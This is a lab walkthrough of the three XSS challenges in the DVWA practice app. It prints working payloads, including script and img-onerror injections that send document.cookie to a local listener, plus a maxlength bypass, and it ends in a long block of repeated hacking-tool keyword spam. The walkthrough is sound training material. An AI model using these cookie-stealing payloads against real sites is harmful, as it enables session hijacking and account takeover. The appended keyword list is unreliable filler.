An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.
DOM, Sources, and Sinks:
DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.DOM Based XSS:
Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app."Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
python3 -m http.server
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
Reflected XSS:
Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?
Stored XSS:
The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
This is it for today see you next time.
References:
- DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
- DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
- Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
- Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
- Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
- Pentest Tools For Windows
- Hacker Tools Free
- Hacking Tools Windows
- Hack Tools 2019
- Hackrf Tools
- Hacking Tools Github
- Pentest Box Tools Download
- Hacking Tools Usb
- Hacker Tools Free
- Hacker Tools Hardware
- Easy Hack Tools
- Hak5 Tools
- Hacker Tools Github
- Hacking App
- Hacking Tools Usb
- Game Hacking
- Black Hat Hacker Tools
- Hack Rom Tools
- Termux Hacking Tools 2019
- Hacker Tools Github
- Pentest Tools Framework
- Bluetooth Hacking Tools Kali
- Best Pentesting Tools 2018
- Best Hacking Tools 2019
- Nsa Hack Tools Download
- Hack And Tools
- Hacker Tools Apk
- Hacker Security Tools
- Hacking Tools 2020
- Hacker Tools 2019
- Hacker Tools Software
- Github Hacking Tools
- Hacking Tools Free Download
- Hacking Tools Github
- Hack Tools Pc
- Free Pentest Tools For Windows
- Hacking Tools 2020
- Hack Tools For Windows
- Hacking Tools Github
- Hacking Tools Kit
- Hacker Tools Online
- Hack Rom Tools
- Android Hack Tools Github
- Hack Tools
- Pentest Tools Find Subdomains
- Hack Apps
- Hacker Tools For Pc
- How To Make Hacking Tools
- Pentest Tools For Android
- Hacking Tools Name
- Hack Tools Download
- Android Hack Tools Github
- Hack Tools
- Hack Website Online Tool
- Hacker Security Tools
- Hacker Tools Hardware
- Pentest Tools Url Fuzzer
- Pentest Tools
- Pentest Tools Online
- How To Install Pentest Tools In Ubuntu
- Hackers Toolbox
- Hacking Tools Download
- Hacker Hardware Tools
- Pentest Tools List
- Tools 4 Hack
- Hacker Tools Hardware
- What Is Hacking Tools
- Hackrf Tools
- Tools Used For Hacking
- Hack Tools
- Wifi Hacker Tools For Windows
- Pentest Tools Framework
- Hacker Search Tools
- Hacking Tools And Software
- Hacking Tools Kit
- Hacking Tools Hardware
- Hacker Tools Hardware
- Pentest Tools Website Vulnerability
- Easy Hack Tools
- Hacking Tools Hardware
- Hacking Tools 2019
- Hacks And Tools
- Hacking Tools For Windows 7
- Pentest Tools Website
- Hack Tools Github
- Pentest Tools Alternative
- Hack Tools For Ubuntu
- Hacker Tools For Mac
- Hacker Tools Github
- Easy Hack Tools
- Pentest Tools List
- Best Hacking Tools 2019
- Underground Hacker Sites
- Pentest Box Tools Download
- Hacker Techniques Tools And Incident Handling
- Hacker Hardware Tools
- Hacking Tools Windows 10
- Hack Tools
- Hacking Tools And Software